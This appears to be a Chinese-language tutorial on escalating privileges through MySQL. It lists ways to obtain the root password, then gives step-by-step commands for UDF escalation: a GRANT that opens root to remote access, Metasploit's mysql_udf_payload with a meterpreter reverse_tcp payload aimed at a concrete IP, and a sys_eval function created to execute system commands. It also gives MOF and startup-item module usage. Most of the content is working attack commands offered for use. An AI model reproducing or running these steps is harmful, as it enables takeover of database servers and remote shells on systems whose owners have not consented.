mysql权限提升

提权条件

  • 数据库的最高权限用户的密码

  • secure-file-priv没进行目录限制

  • 网站存在高权限SQL注入点

最高权限用户密码获得方式

  • 数据库的存储文件或备份文件
  • 网站应用源码中的数据库配置文件
  • 采用工具或脚本爆破(需解决外联问题)

1、UDF提权

获取密码-开启外联-高版本创建目录-MSF导出dll-Webshell执行后续

1.mysql<5.2 导出目录c:/windows或system32

2.mysql=>5.2 导出安装目录/lib/plugin/

1
2
3
select version() select @@basedir

GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

没有目录采用手工创建plugin目录或利用NTFS流创建

使用MSF中的exploit/multi/mysql/mysql_udf_payload 模块可以进行UDF提权,

MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在,需手工创建),该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。

MSF:(前提先开外链,允许外部连接root用户)

1
2
3
4
5
6
7
8
9
use exploit/multi/mysql/mysql_udf_payload

set payload windows/meterpreter/reverse_tcp

set password root

set rhosts 47.102.195.100

run

Navicat:

开外联后使用MSF导出,在执行后续命令调用执行

1
2
3
4
5
select * from mysql.func where name = "sys_exec"; //查看

create function sys_eval returns string soname "WqkerHcA.dll";//创建函数绑定dll

select sys_eval("whoami");//调用函数进行命令执行

2、MOF-Win2008后权限控制导致无效-MSF演示

https://www.cnblogs.com/xishaonian/p/6384535.html

MSF:use exploit/windows/mysql/mysql_mof

3、利用启动项提权

写入启动项,重启后会自动执行

MSF:(前提先开外链)

1
2
3
4
5
6
7
8
9
use exploit/windows/mysql/mysql_start_up

set rhosts 47.102.195.100

set username root

set password root

run